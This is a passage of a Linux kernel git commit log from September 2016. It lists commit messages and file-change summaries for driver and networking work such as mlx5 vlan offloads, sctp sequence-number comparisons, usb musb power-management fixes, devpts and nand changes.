Date: Fri Sep 23 12:52:49 2016 +0200 drm/tilcdc: fix wrong error handling When 'component_bind_all' fails it should not try to unbind components in the error handling. This will produce a null pointer kernel panic when no component exist. This patch changes the order of the error handling. Now, it will only unbind components if the are bound. Otherwise, the module will jump to an error label below. Signed-off-by: Daniel Schultz Reviewed-by: Sean Paul Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2e41434673774a23a1d72547aecacc8ccbcc9078 Author: Ivan Safonov Date: Thu Sep 22 21:59:22 2016 +0700 staging: r8188eu: remove RFType member of odm_dm_struct structure rf_type is always equal to ODM_1T1R. So, only RF PATH A exists for r8188eu device... Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/odm.c | 35 ++++++++--------------------- drivers/staging/rtl8188eu/hal/phy.c | 16 +++---------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 2 -- drivers/staging/rtl8188eu/include/odm.h | 2 -- 4 files changed, 12 insertions(+), 43 deletions(-) commit 16eda427a320ba864e16236485efc33f8bc548cf Author: Ivan Safonov Date: Thu Sep 22 21:58:43 2016 +0700 staging: r8188eu: remove rf_type member of hal_data_8188e structure rf_type is always equal to RF_1T1R. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/bb_cfg.c | 5 +---- drivers/staging/rtl8188eu/hal/phy.c | 5 +---- drivers/staging/rtl8188eu/hal/rf_cfg.c | 5 +---- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 7 +------ drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 3 --- drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 +- drivers/staging/rtl8188eu/include/rtl8188e_hal.h | 1 - 7 files changed, 5 insertions(+), 23 deletions(-) commit b95300e82f652209745bf65220c43f372666048e Author: Georgiana Rodica Chelu Date: Fri Sep 23 09:14:27 2016 +0300 staging: rtl8188eu: hal: rtl8188e_cmd: Use ether_addr_copy() instead of memcpy() The checkpatch.pl found the warning: WARNING: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2) Checked if the the Ethernet addresses are __aligned(2) by using pahole tool. The type of pwlanhdr is struct ieee80211_hdr and pahole shows that addr1, addr2, and addr3 are aligned to u16. struct ieee80211_hdr { __le16 frame_control; /* 0 2 */ __le16 duration_id; /* 2 2 */ u8 addr1[6]; /* 4 6 */ u8 addr2[6]; /* 10 6 */ u8 addr3[6]; /* 16 6 */ __le16 seq_ctrl; /* 22 2 */ u8 addr4[6]; /* 24 6 */ /* size: 30, cachelines: 1, members: 7 */ /* last cacheline: 30 bytes */ }; Both eeprompriv from struct adapter and MacAddress from struct wlan_bssid_ex have the offset multiple of sizeof(u16). Also, the array bc_addr and the pointers: StaAddr, mac, and bssid, start from an even offset. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 34 ++++++++++++++-------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 6f7fd0953cf9c2bb1cc7ef5a8810e0ddf5827dc5 Author: Juliana Rodrigues Date: Fri Sep 23 00:21:55 2016 -0300 staging: lustre: llite: removed uneeded return variables Removed variables used only for return purposes and replaced them for the return value itself. Found using Coccinelle's semantic patch: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 24 ++++++++---------------- 1 file changed, 8 insertions(+), 16 deletions(-) commit 57fd9569d35350a31ed2493baf9d9c010b9d22fa Author: Juliana Rodrigues Date: Thu Sep 22 18:09:28 2016 -0300 staging: wlan-ng: removed blank lines Removed an unecessary blank line after open brace, fixing a checkpatch issue. Signed-off-by: Juliana Rodrigues Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2sta.c | 1 - 1 file changed, 1 deletion(-) commit 5c925fe2a496da4849f1f874b9fa54cad7f2386c Author: Eva Rachel Retuya Date: Thu Sep 22 23:33:33 2016 +0800 staging: greybus: arche-apb-ctrl: declare struct of_device_id as const Declare the 'arche_apb_ctrl_of_match' array as const. This array is only stored in the .of_match_table field of a device_driver structure, which is declared as const. This addresses the checkpatch warning: WARNING: struct of_device_id should be normally const Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cdcffc0cdf553500dca22d93e3a87e2e0848aa83 Author: Eva Rachel Retuya Date: Thu Sep 22 23:33:34 2016 +0800 staging: greybus: arche-platform: declare struct of_device_id as const Declare the arrays 'arche_platform_of_match' and 'arche_combined_id' as const. 'arche_platform_of_match' is only stored in the .of_match_table field of a device_driver structure, which is declared as const. 'arche_combined_id' is passed to MODULE_DEVICE_TABLE. This macro does not modify the array and therefore the array can be declared as const. Checkpatch pointed out both issues. WARNING: struct of_device_id should be normally const Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e12934d9806e61d2727069cd56757987f3da76aa Author: Colin Ian King Date: Thu Sep 22 18:48:58 2016 +0100 cxgb4: fix signed wrap around when decrementing index idx Change predecrement compare to post decrement compare to avoid an unsigned integer wrap-around comparison when decrementing idx in the while loop. For example, when idx is zero, the current situation will predecrement idx in the while loop, wrapping idx to the maximum signed integer and cause out of bounds reads on rxq_info->msix_tbl[idx]. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c7b9e63341db3ab2160194ebbf0d3d6041419cee Merge: fefa569 095b6cf Author: David S. Miller Date: Fri Sep 23 07:22:19 2016 -0400 Merge branch 'mlx5-sriov-vlan-push-pop' Saeed Mahameed says: ==================== Mellanox 100G SRIOV offloads vlan push/pop From Or Gerlitz: This series further enhances the SRIOV TC offloads of mlx5 to handle the TC vlan push and pop actions. This serves a common use-case in virtualization systems where the virtual switch add (push) vlan tags to packets sent from VMs and removes (pop) vlan tags before the packet is received by the VM. We use the new E-Switch switchdev mode and the TC vlan action to achieve that also in SW defined SRIOV environments by offloading TC rules that contain this action along with forwarding (TC mirred/redirect action) the packet. In the first patch we add some helpers to access the TC vlan action info by offloading drivers. The next five patches don't add any new functionality, they do some refactoring and cleanups in the current code to be used next. The seventh patch deals with supporting vlans by the mlx5 e-switch in switchdev mode. The eighth patch does the vlan action offload from TC and the last patch adds matching for vlans as typically required by TC flows that involve vlan pop action. The series was applied on top of commit 524605e "cxgb4: Convert to use simple_open()" ==================== Signed-off-by: David S. Miller commit 095b6cfd69cedc8050b69535af8bf718ce0e9aad Author: Or Gerlitz Date: Thu Sep 22 20:01:49 2016 +0300 net/mlx5e: Add TC vlan match parsing Enhance the parsing of offloaded TC rules matches to handle vlans. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 8b32580df1cb4dc9cccb2d369d20317f7f74d9ce Author: Or Gerlitz Date: Thu Sep 22 20:01:48 2016 +0300 net/mlx5e: Add TC vlan action for SRIOV offloads Parse TC vlan actions and set the required elements to allow offloading. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 43 ++++++++++++++++++------- 1 file changed, 32 insertions(+), 11 deletions(-) commit f5f82476090fd2c6fc4fde03ba61aef984900009 Author: Or Gerlitz Date: Thu Sep 22 20:01:47 2016 +0300 net/mlx5: E-Switch, Support VLAN actions in the offloads mode Many virtualization systems use a policy under which a vlan tag is pushed to packets sent by guests, and popped before the packet is forwarded to the VM. The current generation of the mlx5 HW doesn't fully support that on a per flow level. As such, we are addressing the above common use case with the SRIOV e-Switch abilities to push vlan into packets sent by VFs and pop vlan from packets forwarded to VFs. The HW can match on the correct vlan being present in packets forwarded to VFs (eSwitch steering is done before stripping the tag), so this part is offloaded as is. A common practice for vlans is to avoid both push vlan and pop vlan for inter-host VM/VM (east-west) communication because in this case, push on egress cancels out with pop on ingress. For supporting that, we use a global eswitch vlan pop policy, hence allowing guest A to communicate with both remote VM B and local VM C. This works since the HW pops the vlan only if it exists (e.g for C --> A packets but not for B --> A packets). On the slow path, when a VF vport has an offloaded flow which involves pushing vlans, wheres another flow is not currently offloaded, the packets from the 2nd flow seen by the VF representor on the host have vlan. The VF rep driver removes such vlan before calling into the host networking stack. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 1 + drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 21 ++- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 33 ++++ drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 15 ++ .../ethernet/mellanox/mlx5/core/eswitch_offloads.c | 180 +++++++++++++++++++++ 5 files changed, 249 insertions(+), 1 deletion(-) commit 8515c581dfa574420559d8cef24c2ba24e8eb8dd Author: Or Gerlitz Date: Thu Sep 22 20:01:46 2016 +0300 net/mlx5e: Refactor retrival of skb from rx completion element (cqe) Factor the relevant code into a static inline helper (skb_from_cqe) doing that. Move the call to napi_gro_receive to be carried out just after mlx5e_complete_rx_cqe returns. Both changes are to be used for the VF representor as well in the next commit. This patch doesn't change any functionality. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 41 +++++++++++++++++-------- 1 file changed, 28 insertions(+), 13 deletions(-) commit 776b12b674db53012a7ce8c379a0bbdec0a5ffa5 Author: Or Gerlitz Date: Thu Sep 22 20:01:45 2016 +0300 net/mlx5: Put elements related to offloaded TC rule in one struct Put the representors related to the source and dest vports and the action in struct mlx5_esw_flow_attr which is used while setting the FDB rule. This patch doesn't change any functionality. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 51 ++++++++++++---------- drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 10 ++++- .../ethernet/mellanox/mlx5/core/eswitch_offloads.c | 9 ++-- 3 files changed, 44 insertions(+), 26 deletions(-) commit e33dfe316cf3b408e63bf0c21be0842412eb7981 Author: Or Gerlitz Date: Thu Sep 22 20:01:44 2016 +0300 net/mlx5: E-Switch, Allow fine tuning of eswitch vport push/pop vlan The HW can be programmed to push vlan, pop vlan or both. A factorization step towards using the push/pop capabilties in the eswitch offloads mode. This patch doesn't add new functionality. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 33 +++++++++++++++-------- drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 5 ++++ 2 files changed, 27 insertions(+), 11 deletions(-) commit bac9b6aa1df7d584d72558cdd12df186e91245b3 Author: Or Gerlitz Date: Thu Sep 22 20:01:43 2016 +0300 net/mlx5: E-Switch, Set vport representor fields explicitly on registration The structure we use for the eswitch vport representor (mlx5_eswitch_rep) has some fields which are set from upper layers in the driver when they register the rep. Use explicit setting on registration time for them and avoid global memcpy. This patch doesn't add new functionality. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 5 +++-- drivers/net/ethernet/mellanox/mlx5/core/eswitch_offloads.c | 8 +++++++- 2 files changed, 10 insertions(+), 3 deletions(-) commit 9deb2241f19f26800e3b4c6bf49c4db992192bf0 Author: Or Gerlitz Date: Thu Sep 22 20:01:42 2016 +0300 net/mlx5: E-Switch, Set the vport when registering the uplink rep Set the vport value in the PF entry to be that of the uplink so we can use it blindly over the tc / eswitch offload code without translating it each time we deal with the uplink representor. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 6 ++--- drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 10 ++------ drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 3 ++- .../ethernet/mellanox/mlx5/core/eswitch_offloads.c | 27 +++++++++++----------- 4 files changed, 20 insertions(+), 26 deletions(-) commit 53e89941ba2a969c483aa29b907de9a823179297 Author: Or Gerlitz Date: Thu Sep 22 20:01:41 2016 +0300 net_sched: act_vlan: add helper inlines to access tcf_vlan info Needed e.g for offloading drivers to pick the relevant attributes. Signed-off-by: Or Gerlitz Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller include/net/tc_act/tc_vlan.h | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit fefa569a9d4bc4b7758c0fddd75bb0382c95da77 Author: Eric Dumazet Date: Thu Sep 22 08:58:55 2016 -0700 net_sched: sch_fq: account for schedule/timers drifts It looks like the following patch can make FQ very precise, even in VM or stressed hosts. It matters at high pacing rates. We take into account the difference between the time that was programmed when last packet was sent, and current time (a drift of tens of usecs is often observed) Add an EWMA of the unthrottle latency to help diagnostics. This latency is the difference between current time and oldest packet in delayed RB-tree. This accounts for the high resolution timer latency, but can be different under stress, as fq_check_throttled() can be opportunistically be called from a dequeue() called after an enqueue() for a different flow. Tested: // Start a 10Gbit flow $ netperf --google-pacing-rate 1250000000 -H lpaa24 -l 10000 -- -K bbr & Before patch : $ sar -n DEV 10 5 | grep eth0 | grep Average Average: eth0 17106.04 756876.84 1102.75 1119049.02 0.00 0.00 0.52 After patch : $ sar -n DEV 10 5 | grep eth0 | grep Average Average: eth0 17867.00 800245.90 1151.77 1183172.12 0.00 0.00 0.52 A new iproute2 tc can output the 'unthrottle latency' : $ tc -s qd sh dev eth0 | grep latency 0 gc, 0 highprio, 32490767 throttled, 2382 ns latency Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller include/uapi/linux/pkt_sched.h | 2 +- net/sched/sch_fq.c | 21 ++++++++++++++++++--- 2 files changed, 19 insertions(+), 4 deletions(-) commit 429baa6f0e1b9237a3667c3a5e8ca76051e6d0b7 Author: Bert Kenward Date: Thu Sep 22 15:47:45 2016 +0100 sfc: check async completer is !NULL before calling Add a NULL check before calling asynchronous MCDI completion functions during device removal. Fixes: 7014d7f6 ("sfc: allow asynchronous MCDI without completion function") Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/mcdi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6eb1c9496b81680f2cd2e0eda06c531317e2e28d Author: Masahiro Yamada Date: Mon Sep 19 01:16:44 2016 +0900 clk: probe common clock drivers earlier Several SoCs implement platform drivers for clocks rather than CLK_OF_DECLARE(). Clocks should come earlier because they are prerequisites for many of other drivers. It will help to mitigate EPROBE_DEFER issues. Also, drop the comment since it does not carry much value. Signed-off-by: Masahiro Yamada Acked-by: Michael Turquette Signed-off-by: Greg Kroah-Hartman drivers/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 88e4f75900368b8a6febb7bc7d379d52d02e920d Merge: 21641c2 182691d Author: David S. Miller Date: Fri Sep 23 06:55:04 2016 -0400 Merge branch 'sctp-fix-gap-ack-blocks' Marcelo Ricardo Leitner says: ==================== sctp: fix the handling of SACK Gap Ack blocks sctp_acked() is using 32bit arithmetics on 16bits vars, via TSN_lte() macros, which is weird and confusing. Once the offset to ctsn is calculated, all wrapping is already handled and thus to verify the Gap Ack blocks we can just use pure less/big-or-equal than checks. Also, rename gap variable to tsn_offset, so it's more meaningful, as it doesn't point to any gap at all. Even so, I don't think this discrepancy resulted in any practical bug. This patch is a preparation for the next one, which will introduce typecheck() for TSN_lte() macros and would cause a compile error here. Suggested-by: David Laight Reported-by: David Laight Signed-off-by: Marcelo Ricardo Leitner ==================== Signed-off-by: David S. Miller commit 182691d0998400f35ad304718024e60feaa864aa Author: Marcelo Ricardo Leitner Date: Tue Sep 20 18:19:14 2016 -0300 sctp: improve how SSN, TSN and ASCONF serial are compared Make it similar to time_before() macros: - easier to understand - make use of typecheck() to avoid working on unexpected variable types (made the issue on previous patch visible) - for _[lg]te versions, slighly faster, as the compiler used to generate a sequence of cmp/je/cmp/js instructions and now it's sub/test/jle (for _lte): Before, for sctp_outq_sack: if (primary->cacc.changeover_active) { 1f01: 80 b9 84 02 00 00 00 cmpb $0x0,0x284(%rcx) 1f08: 74 6e je 1f78 u8 clear_cycling = 0; if (TSN_lte(primary->cacc.next_tsn_at_change, sack_ctsn)) { 1f0a: 8b 81 80 02 00 00 mov 0x280(%rcx),%eax return ((s) - (t)) & TSN_SIGN_BIT; } static inline int TSN_lte(__u32 s, __u32 t) { return ((s) == (t)) || (((s) - (t)) & TSN_SIGN_BIT); 1f10: 8b 7d bc mov -0x44(%rbp),%edi 1f13: 39 c7 cmp %eax,%edi 1f15: 74 25 je 1f3c 1f17: 39 f8 cmp %edi,%eax 1f19: 78 21 js 1f3c primary->cacc.changeover_active = 0; After: if (primary->cacc.changeover_active) { 1ee7: 80 b9 84 02 00 00 00 cmpb $0x0,0x284(%rcx) 1eee: 74 73 je 1f63 u8 clear_cycling = 0; if (TSN_lte(primary->cacc.next_tsn_at_change, sack_ctsn)) { 1ef0: 8b 81 80 02 00 00 mov 0x280(%rcx),%eax 1ef6: 2b 45 b4 sub -0x4c(%rbp),%eax 1ef9: 85 c0 test %eax,%eax 1efb: 7e 26 jle 1f23 primary->cacc.changeover_active = 0; *_lt() generated pretty much the same code. Tested with gcc (GCC) 6.1.1 20160621. This patch also removes SSN_lte as it is not used and cleanups some comments. Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller include/net/sctp/sm.h | 94 ++++++++++----------------------------------------- 1 file changed, 18 insertions(+), 76 deletions(-) commit a3007446e53af07c53bdb4cabad7b3ea60859da4 Author: Marcelo Ricardo Leitner Date: Tue Sep 20 18:19:13 2016 -0300 sctp: fix the handling of SACK Gap Ack blocks sctp_acked() is using 32bit arithmetics on 16bits vars, via TSN_lte() macros, which is weird and confusing. Once the offset to ctsn is calculated, all wrapping is already handled and thus to verify the Gap Ack blocks we can just use pure less/big-or-equal than checks. Also, rename gap variable to tsn_offset, so it's more meaningful, as it doesn't point to any gap at all. Even so, I don't think this discrepancy resulted in any practical bug. This patch is a preparation for the next one, which will introduce typecheck() for TSN_lte() macros and would cause a compile error here. Suggested-by: David Laight Reported-by: David Laight Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller net/sctp/outqueue.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 21641c2e1ffd0b504610a33beaeab8fcc5140677 Author: WANG Cong Date: Sun Sep 18 15:52:20 2016 -0700 net_sched: check NULL on error path in route4_change() On error path in route4_change(), 'f' could be NULL, so we should check NULL before calling tcf_exts_destroy(). Fixes: b9a24bb76bf6 ("net_sched: properly handle failure case of tcf_exts_init()") Reported-by: kbuild test robot Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/cls_route.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit cf97ee19629363d5847a4af135cf415f76d7388c Author: Markus Elfring Date: Thu Sep 22 09:29:23 2016 +0200 drm/tilcdc: Return directly after a failed kfree_table_init() in tilcdc_convert_slave_node() Return directly after a memory allocation failed in this function at the beginning. Signed-off-by: Markus Elfring Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_slave_compat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6989d4bbe6c4d1c2a76696833a07f044e85694d Merge: 0364a88 b1f2beb Author: David S. Miller Date: Fri Sep 23 06:46:57 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net commit f67ed574946a7385c8034652c9e79abf00beadeb Author: Sean Paul Date: Fri Sep 23 00:07:52 2016 -0700 Revert "drm/i2c: tda998x: don't register the connector" This reverts commit 6a2925ea12006911c8180a89feda6d040873ed18. commit 6a2925ea12006911c8180a89feda6d040873ed18 Author: Brian Starkey Date: Mon Jul 25 11:55:48 2016 +0100 drm/i2c: tda998x: don't register the connector [seanpaul] Patch isn't fully baked, and still causing problems. Revert until this is sorted. Acked-by: Daniel Vetter Signed-off-by: Sean Paul drivers/gpu/drm/i2c/tda998x_drv.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 984f3be5910c640bbff469bb3d4679036fce6395 Author: Arnd Bergmann Date: Thu Sep 22 15:58:31 2016 -0500 usb: musb: da8xx: fix error handling message in probe We print an error message when platform_device_register_full() fails, but the initialization of the argument has been removed, as shown in this warning: drivers/usb/musb/da8xx.c: In function 'da8xx_probe': drivers/usb/musb/da8xx.c:521:3: error: 'ret' may be used uninitialized in this function [-Werror=maybe-uninitialized] This modifies the function to assign the return code before checking it, and does uses the same method in the check for usb_phy_generic_register() as well. Fixes: 947c49afe41f ("usb: musb: da8xx: Remove mach code") Signed-off-by: Arnd Bergmann Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/da8xx.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 2b9a8c40836930a45f42f06f98731eb9614ba86b Author: Tony Lindgren Date: Thu Sep 22 15:58:30 2016 -0500 usb: musb: Fix session based PM for first invalid VBUS With the session bit based PM runtime working on musb, we've implemented few quirks to attempt to detect the current state of the hardware. One of the quirks is for invalid VBUS as peripheral, but it is not working in all cases. If we start musb on dm3730 as a peripheral with no cable connected, we will get the devctl 91 state once and will never idle as there are not further interrupts from musb. So we need to ignore the first devctl 91 state as there will be more interrupts if we're connected. The invalid VBUS state also can happen always when connected to certain USB hubs. Looks like musb on dm3730 can claim invalid VBUS with some hubs while 3717-evm and BeagleBone don't. This causes session as peripheral to fail for dm3730 with some hubs. This too is fixed by ignoring only the first invalid VBUS. When connected, we can just look at the session bit as that will clear automatically when the session ends. Fixes: 467d5c980709 ("usb: musb: Implement session bit based runtime PM for musb-core") Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 13 ++++++++----- drivers/usb/musb/musb_core.h | 1 + 2 files changed, 9 insertions(+), 5 deletions(-) commit 4e719183667e1363b0d81add5212aee2f149d727 Author: Tony Lindgren Date: Thu Sep 22 15:58:29 2016 -0500 usb: musb: Fix PM runtime for disconnect after unconfigure If we unconfigure musb as a USB peripheral with cable connected, and then remove the cable, no interrupts will happen. And musb thinks we're still connected keeping the device active. Now with the session bit based PM runtime working for musb, we can fix this issue by calling musb irq_work. That rechecks the devctl register and reconfigures PM runtime based on the devctl. Fixes: 467d5c980709 ("usb: musb: Implement session bit based runtime PM for musb-core") Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_gadget.c | 3 +++ 1 file changed, 3 insertions(+) commit a29d64a45eed1ee0d4ac90335da79ad1a9a0990d Author: Thor Thayer Date: Thu Sep 22 17:13:39 2016 -0500 EDAC, altera: Add IRQ Flags to disable IRQ while handling Add the IRQF_ONESHOT and IRQF_TRIGGER_HIGH flags to disable the IRQ while executing the IRQ handler. Remove the IRQF_SHARED because these are not shared IRQs in the domain. Exposed when flooding IRQs. Signed-off-by: Thor Thayer Cc: linux-edac Link: http://lkml.kernel.org/r/1474582419-7053-2-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/altera_edac.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit 3763569f4c86ff3ea224c822821a4313c9cadde9 Author: Thor Thayer Date: Thu Sep 22 17:13:38 2016 -0500 EDAC, altera: Correct EDAC IRQ error message Correct the error message sent out in the case of a single bit error IRQ allocation. Signed-off-by: Thor Thayer Cc: linux-edac Link: http://lkml.kernel.org/r/1474582419-7053-1-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/altera_edac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e98d41370392dbc3e94c8802ce4e9eec9efdf92e Author: Eric W. Biederman Date: Wed Sep 14 13:53:38 2016 -0500 devpts: Change the owner of /dev/pts/ptmx to the mounter of /dev/pts In 99.99% of the cases only root in a user namespace can mount /dev/pts and in those cases the owner of /dev/pts/ptmx will remain root.root In the oddball case where someone else has CAP_SYS_ADMIN this code modifies the /dev/pts mount code to use current_fsuid and current_fsgid as the values to use when creating the /dev/ptmx inode. As is done when any other file is created. This is a code simplification, and it allows running without a root user entirely. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 6bd1d8758db278cb97989a0ebd85059fd948b73b Author: Eric W. Biederman Date: Wed Sep 14 13:53:37 2016 -0500 devpts: Remove sync_filesystems devpts does not and never will have anything to sync so don't bother calling sync_filesystems on remount. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 1 - 1 file changed, 1 deletion(-) commit 40b320e1c757353d65550471132683dfb6c35e0f Author: Eric W. Biederman Date: Wed Sep 14 13:53:36 2016 -0500 devpts: Make devpts_kill_sb safe if fsi is NULL Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c1b241f0c1cfdba6ad90afd5036fa60781bbc363 Author: Eric W. Biederman Date: Wed Sep 14 13:53:35 2016 -0500 devpts: Simplify devpts_mount by using mount_nodev Now that all of the work of setting up a superblock has been moved to devpts_fill_super simplify devpts_mount by calling mount_nodev instead of rolling mount_nodev by hand. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) commit 180d904442023dfb01c2cdbbf4d17ecd0972081d Author: Eric W. Biederman Date: Wed Sep 14 13:53:34 2016 -0500 devpts: Move the creation of /dev/pts/ptmx into fill_super The code makes more sense here and things are just clearer. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit dee87d47365e47078e3ba72a64d50ff25927e498 Author: Eric W. Biederman Date: Wed Sep 14 13:53:33 2016 -0500 devpts: Move parse_mount_options into fill_super Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman fs/devpts/inode.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 590abbdd273304b55824bcb9ea91840ea375575d Author: Michal Marek Date: Fri Sep 23 09:56:05 2016 +0200 initramfs: Escape colons in depfile Special characters are problematic in depfiles, but we can fix colons easily. Reported-by: Florian Fainelli Signed-off-by: Michal Marek scripts/gen_initramfs_list.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit d44154f969a44269a9288c274c1c2fd9e85df8a5 Author: Richard Weinberger Date: Wed Sep 21 11:44:41 2016 +0200 mtd: nand: Provide nand_cleanup() function to free NAND related resources Provide a nand_cleanup() function to free all nand related resources without unregistering the mtd device. This should allow drivers to call mtd_device_unregister() and handle its return value and still being able to cleanup all nand related resources. Signed-off-by: Richard Weinberger Signed-off-by: Daniel Walter Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 22 +++++++++++++++------- include/linux/mtd/nand.h | 5 ++++- 2 files changed, 19 insertions(+), 8 deletions(-) commit a9843193ce00b7f83432abe0815d03ffbeaf6ecf Author: Boris Brezillon Date: Sat Sep 17 19:47:58 2016 +0200 mtd: Kill the OF_MTD Kconfig option Commit d48f62b9a0a0 ("mtd: nand: move of_get_nand_xxx() helpers into nand_base.c") removed the drivers/of/of_mtd.c file but did not remove the associated OF_MTD Kconfig option. Signed-off-by: Boris Brezillon drivers/of/Kconfig | 4 ---- 1 file changed, 4 deletions(-) commit ba52b4dd653088cb936b94c447f0a4dd20814629 Author: Boris Brezillon Date: Sat Sep 17 19:44:43 2016 +0200 mtd: nand: mxc: Test CONFIG_OF instead of CONFIG_OF_MTD We are about to drop the OF_MTD Kconfig option. Test CONFIG_OF activation instead of CONFIG_OF_MTD. Signed-off-by: Boris Brezillon drivers/mtd/nand/mxc_nand.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fde85cfd2d079bdd733d7b07d9a5775a6f70f458 Author: Boris Brezillon Date: Wed Jun 15 13:09:51 2016 +0200 mtd: nand: Fix nand_command_lp() for 8bits opcodes 8 bits opcodes should be followed by a single address cycle. Make the 2nd address cycle dependent of !nand_opcode_8bits(command). Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 4796d8655915b8dce265318542a40d920aad91a3 Author: Boris Brezillon Date: Wed Jun 8 17:04:24 2016 +0200 mtd: nand: sunxi: Support ECC maximization Setup the maximum ECC config when NAND_ECC_MAXIMIZE is set. Signed-off-by: Boris Brezillon drivers/mtd/nand/sunxi_nand.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 8bbba48124f2ace8f8bf382539d7115f0f307eeb Author: Boris Brezillon Date: Wed Jun 8 17:04:23 2016 +0200 mtd: nand: Support maximizing ECC when using software BCH Add support for ECC maximization when 